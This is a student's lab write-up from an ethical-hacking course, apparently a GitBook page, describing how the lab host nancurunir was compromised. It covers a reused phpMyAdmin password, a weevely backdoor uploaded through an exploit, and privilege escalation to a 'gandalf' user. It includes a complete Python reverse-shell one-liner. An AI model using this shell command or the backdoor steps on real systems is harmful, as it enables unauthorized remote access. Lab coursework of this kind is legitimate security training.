SEC-335: Eth. Hacking & Pen. Testing
HomeTech JournalsPersonal ProjectsSysadmin Wiki
  • SEC-335: Eth. Hacking & Pen. Testing
  • Breakdown
    • Course Overview
  • Activities/Assignments
    • Assignment 1.2: The Kali Virtual Machine
    • Activity 2.1: Host Discovery
    • Activity 3.1: DNS Enumeration
    • Activity 4.1: Exploiting Cupcake
    • Assignment 5.1: Breaking into Kali
  • Labs
    • Lab 2.1: Port Scanning 1
    • Lab 2.2: Port Scanning 2
    • Lab 3.1: Powershell and DNS
    • Lab 3.2: DNS uses TCP and UDP
    • Lab 5.1: Password Guessing
    • Lab 6.1: Cracking Linux Passwords with JtR and Hashcat
    • Lab 7.1: Exploiting pippin.shire.org (10.0.5.25)
    • Lab 8.1: Weevely
    • Lab 8.2: Reverse Shell
    • Lab 9.1: Exploit Gloin
    • Lab 10.1: Linux - Permission Vulnerabilities
    • Lab 10.2: Exploiting nancurunir
    • Lab 11.1: Metasploit
    • Final: Bree
  • Tools/Recon
    • Metasploit
    • NMAP
    • Active/Passive Reconnaissance
    • Shodan
    • The Harvester
    • Netcraft
    • Metagoofil
    • DNS-Enumeration
    • CEWL
    • rsmangler
    • Hydra
    • DIRB
    • John the Ripper
    • Hashcat
    • Passwords
    • TMP
Powered by GitBook
On this page
  • Target: nancurunir.shire.org
  • Target IP Address
  • Open Ports
  • Discovered Vulnerabilities
  • How you achieved a foothold
  • Phpmyadmin user password, password was shallnotpass
  • Root user password:
  • Using 50457 to upload backdoor
  • Backdoor made
  • Back door uploaded
  • Connect to back door
  • Create a reverse shell in weevely:
  • How you achieved root/Administrative level compromise
  • Foot hold using the gandalf user:
  • User Flag
  • Root Flag
  • How might the vulnerabilities be mitigated by the system administrator?
  • Reflection
  • Report
  1. Labs

Lab 10.2: Exploiting nancurunir

PreviousLab 10.1: Linux - Permission VulnerabilitiesNextLab 11.1: Metasploit

Last updated 2 years ago

Target: nancurunir.shire.org

Target IP Address

nslookup result

Open Ports

Discovered Vulnerabilities

Php version 4.8.1

How you achieved a foothold

Phpmyadmin user password, password was shallnotpass

Root user password:

Using 50457 to upload backdoor

Backdoor made

Back door uploaded

Connect to back door

Create a reverse shell in weevely:

export RHOST="HOST";export RPORT=PORT;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

How you achieved root/Administrative level compromise

Foot hold using the gandalf user:

User Flag

Root Flag

How might the vulnerabilities be mitigated by the system administrator?

Not using the same mysql root password as host root as well not having a gif on the homepage of the website that is the same as the phpmyadmin user password.

Reflection

I did have trouble after I got access to the machine using weevely I forgot how to make have reverse shell to be able to leverage the gandalf user.

Report

nmap result
dirb result
searchsploit for Apache
searchsploit for phpmyadmin
How to get the hash for gandalf
The Hash for the gandalf user
Password for gandalf User

https://docs.google.com/document/d/1bGgOkBr3Hc3sTCex6RufGkkZMEZJ-MWAhUrAFgsWHhM/edit#